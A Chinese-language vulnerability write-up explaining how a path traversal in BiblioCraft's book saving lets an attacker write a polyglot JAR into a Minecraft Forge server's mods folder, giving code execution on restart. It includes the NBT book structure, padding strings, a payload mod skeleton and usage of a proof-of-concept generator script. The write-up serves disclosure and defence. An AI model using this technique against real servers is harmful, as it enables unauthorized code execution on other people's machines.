此方法仅需要 BiblioCraft!无需太多技巧,也无需其他模组即可实现代码执行!
关于 CoreTweaks 的原始文章可在此处找到 这里。我建议您先阅读此内容,因为我可能会跳过一些下面重要的细节。
可通过多种方法实现代码执行。 这影响 BiblioCraft 1.7.10 v1.11.7 和 BiblioCraft 1.12.2 v2.4.5(已确认),很可能也影响所有 v2.4.6 之前的 BiblioCraft 版本(未确认,未测试)
修复路径遍历错误的现有补丁仍会阻止此新的代码执行途径。
这次我们关注的是原版成书保存功能。
成书保存至 world/books/<作者名>, <书名>。
这些书的格式,每行如下:
接续开头,书的页面以标记 #pgx<页码> 开始,从下一行到下一个标记为止的内容属于该页。BiblioCraft 总是在行末添加换行符,即使后面没有内容。
和之前一样,我们可以通过书的 NBT 标签控制书名和作者名,并执行路径遍历。
我们要写入的位置是 mods/ 文件夹。此目录中的模组通常以 JAR 文件形式存储。JAR 文件的一个巧妙特性是它们实际上只是伪装的 ZIP 文件。
那么,这对我们有什么帮助呢?
ZIP 文件有一个有趣的特性:即使在其前后附加了垃圾数据,它们仍然可以是有效的。
ZIP 文件中的 EOCD(中央目录结束记录)位于文件末尾。
它(大致)由魔数/签名 0x06054b50 以及中央目录记录在归档中的数量、大小和偏移量组成。
EOCD 记录中的最后一个字段是一个长度前缀的注释,它可以是几乎任何不是魔数的字节序列 (未经测试)。
(我认为 ZIP 文件解析器从末尾开始搜索 EOCD 签名以解析归档,但我不完全确定。)
如果 ZIP 解析器只需要找到归档中的文件就是 EOCD 记录,并且任何数据 (有限制) 都可以跟在 EOCD 记录后面,那么即使文件中存在其他数据,我们也可以制作一个有效的 ZIP。
(非常感谢 https://github.com/c0ny1/ascii-jar!我大量使用了这些工具!)
首先,我们需要构造我们的载荷。如果类具有特殊的 @Mod 注释,Forge 会将其作为模组加载,因此我们将使用这个注释。
我们粗略的载荷:
@Mod(modid = "payload-mod")
public class Payload {
// ...
static {
System.out.println("Hello World!");
}
// ...
}
为了避免编码问题,我们使用脚本来创建一个仅包含 ASCII 字符的 JAR 文件,其中只包含我们的载荷类。
我们在开头填充 PK\3\4.jar\n../../mods/\nprivate\n#pgx0\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
我们之所以在填充前加上 PK\3\4(ZIP 的本地文件头签名),是因为 Forge 中有一个奇怪的特性,我无法在外部重现,即 JAR 文件会检查是否以该签名开头,尽管这并非 ZIP 的要求?可能是 Forge 的一个错误。
我们使用由长串 'A' 和 'a' 组成的字符串来确保偏移量大于 255,从而保证编码偏移量的 2 字节整数没有超出 ASCII 范围的字节。
我们在末尾填充 \n 以避免 BiblioCraft 添加换行符带来的问题。
有了新的填充后的 jar,我们取出在开头填充的最后换行符之后的所有字节,从中创建一个新字符串(我们将其称为 <jar-data>),并创建一个具有以下 NBT 数据的新成书:
TAG_Compound(''): 2 个条目
{
TAG_String("author"): "../../mods/"
TAG_String("title"): "PK\3\4.jar"
TAG_List("pages"): 1 个条目
{
TAG_String(None): "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + <jar-data>
}
}
当我们通过 BiblioCraft 将此书保存到磁盘时,所有填充数据都将按其格式“重新生成”,使我们的 JAR 再次有效。
现在,下次服务器重启时 (即使是正常重启,或者如果导致崩溃),我们的模组 JAR 将被加载,我们的代码将被执行。
在 BiblioPOC/tools/ 中有一个 Python3 脚本,用于协助生成有效的载荷。
参数如下:
python3 create_payload.py [java文件] [forge_jar路径] [类名] [输出目录]
然后,在游戏中手持 BiblioCraft 地图时执行
/jarpoccommand [完成后的jar路径],其中 [完成后的jar路径] 是 [输出目录]/completed.jar 的路径。